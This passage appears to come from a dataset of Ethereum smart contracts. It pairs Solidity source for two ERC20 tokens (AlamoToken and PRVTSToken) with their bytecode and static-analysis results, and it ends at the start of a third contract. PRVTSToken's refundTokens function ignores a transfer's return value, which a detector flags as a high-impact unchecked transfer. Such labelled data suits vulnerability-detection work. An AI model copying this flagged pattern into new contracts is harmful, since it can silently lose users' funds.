pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/AlamoToken.sol
contract AlamoToken is StandardToken {
string public name = "AlamoToken";
string public symbol = "ALMO";
uint8 public decimals = 4;
uint public INITIAL_SUPPLY = 10000000000;
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
}
|
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a75780632ff2e9dc146101d1578063313ce567146101e6578063661884631461021157806370a082311461023557806395d89b4114610256578063a9059cbb1461026b578063d73dd6231461028f578063dd62ed3e146102b3575b600080fd5b3480156100ca57600080fd5b506100d36102da565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a0360043516602435610368565b604080519115158252519081900360200190f35b34801561018c57600080fd5b506101956103ce565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a03600435811690602435166044356103d4565b3480156101dd57600080fd5b5061019561054b565b3480156101f257600080fd5b506101fb610551565b6040805160ff9092168252519081900360200190f35b34801561021d57600080fd5b5061016c600160a060020a036004351660243561055a565b34801561024157600080fd5b50610195600160a060020a036004351661064a565b34801561026257600080fd5b506100d3610665565b34801561027757600080fd5b5061016c600160a060020a03600435166024356106c0565b34801561029b57600080fd5b5061016c600160a060020a03600435166024356107a1565b3480156102bf57600080fd5b50610195600160a060020a036004358116906024351661083a565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103605780601f1061033557610100808354040283529160200191610360565b820191906000526020600020905b81548152906001019060200180831161034357829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a03831615156103eb57600080fd5b600160a060020a03841660009081526020819052604090205482111561041057600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561044057600080fd5b600160a060020a038416600090815260208190526040902054610469908363ffffffff61086516565b600160a060020a03808616600090815260208190526040808220939093559085168152205461049e908363ffffffff61087716565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546104e0908363ffffffff61086516565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60065481565b60055460ff1681565b336000908152600260209081526040808320600160a060020a0386168452909152812054808311156105af57336000908152600260209081526040808320600160a060020a03881684529091528120556105e4565b6105bf818463ffffffff61086516565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103605780601f1061033557610100808354040283529160200191610360565b6000600160a060020a03831615156106d757600080fd5b336000908152602081905260409020548211156106f357600080fd5b33600090815260208190526040902054610713908363ffffffff61086516565b3360009081526020819052604080822092909255600160a060020a03851681522054610745908363ffffffff61087716565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a03861684529091528120546107d5908363ffffffff61087716565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60008282111561087157fe5b50900390565b8181018281101561088457fe5b929150505600a165627a7a7230582041fc9017b8bb2f51b761047d8449edcc08a48f79614775f34e2ce300cc54c9310029
|
{"success": true, "error": null, "results": {}}
| 5,738 |
0x70cdbd16575651e3b78fa869a51eb8e991e079bb
|
pragma solidity ^0.4.23;
/*
* Creator:PRVTS (Private Sale Token)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* Private Sale Token smart contract.
*/
contract PRVTSToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 555000000 * (10**2);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function PRVTSToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "Private Sale Token";
string constant public symbol = "PRVTS";
uint8 constant public decimals = 2;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
}
|
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f7578063095ea7b31461018757806313af4035146101ec57806318160ddd1461022f57806323b872dd1461025a578063313ce567146102df57806331c420d41461031057806370a08231146103275780637e1f2bb81461037e57806389519c50146103c357806395d89b4114610430578063a9059cbb146104c0578063dd62ed3e14610525578063e724529c1461059c575b600080fd5b3480156100ec57600080fd5b506100f56105eb565b005b34801561010357600080fd5b5061010c6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014c578082015181840152602081019050610131565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019357600080fd5b506101d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e0565b604051808215151515815260200191505060405180910390f35b3480156101f857600080fd5b5061022d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610716565b005b34801561023b57600080fd5b506102446107b6565b6040518082815260200191505060405180910390f35b34801561026657600080fd5b506102c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c0565b604051808215151515815260200191505060405180910390f35b3480156102eb57600080fd5b506102f461084e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031c57600080fd5b50610325610853565b005b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090e565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b506103a960048036038101908080359060200190929190505050610956565b604051808215151515815260200191505060405180910390f35b3480156103cf57600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610add565b005b34801561043c57600080fd5b50610445610cfd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048557808201518184015260208101905061046a565b50505050905090810190601f1680156104b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104cc57600080fd5b5061050b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d36565b604051808215151515815260200191505060405180910390f35b34801561053157600080fd5b50610586600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc2565b6040518082815260200191505060405180910390f35b3480156105a857600080fd5b506105e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e49565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561064757600080fd5b600560009054906101000a900460ff1615156106a5576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280601281526020017f507269766174652053616c6520546f6b656e000000000000000000000000000081525081565b6000806106ed3385610dc2565b14806106f95750600082145b151561070457600080fd5b61070e8383610faa565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561081b57600080fd5b600560009054906101000a900460ff16156108395760009050610847565b61084484848461109c565b90505b9392505050565b600281565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108af57600080fd5b600560009054906101000a900460ff161561090c576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109b457600080fd5b6000821115610ad3576109ce640cec0ecb00600454611482565b8211156109de5760009050610ad8565b610a266000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149b565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a746004548361149b565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610ad8565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b3b57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b7657600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c1c57600080fd5b505af1158015610c30573d6000803e3d6000fd5b505050506040513d6020811015610c4657600080fd5b8101908080519060200190929190505050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600581526020017f505256545300000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d9157600080fd5b600560009054906101000a900460ff1615610daf5760009050610dbc565b610db983836114b9565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ea557600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610ee057600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110d957600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611166576000905061147b565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111b5576000905061147b565b6000821180156111f157508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156114115761127c600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611482565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113446000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611482565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113ce6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149b565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561149057fe5b818303905092915050565b60008082840190508381101515156114af57fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114f657600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156115455760009050611705565b60008211801561158157508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561169b576115ce6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611482565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116586000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149b565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a7230582021f4516ba4a37c1ed651a45ed4122f1c96fe4a93395723e72205d4713dcac94c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 5,739 |
0xca75146e0ab5dc73af1e5a7fd7c1074d9a09a4cc
|
// MEE Pair
pragma solidity 0.5.12;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
contract IMPool is IERC20 {
function isBound(address t) external view returns (bool);
function getFinalTokens() external view returns(address[] memory);
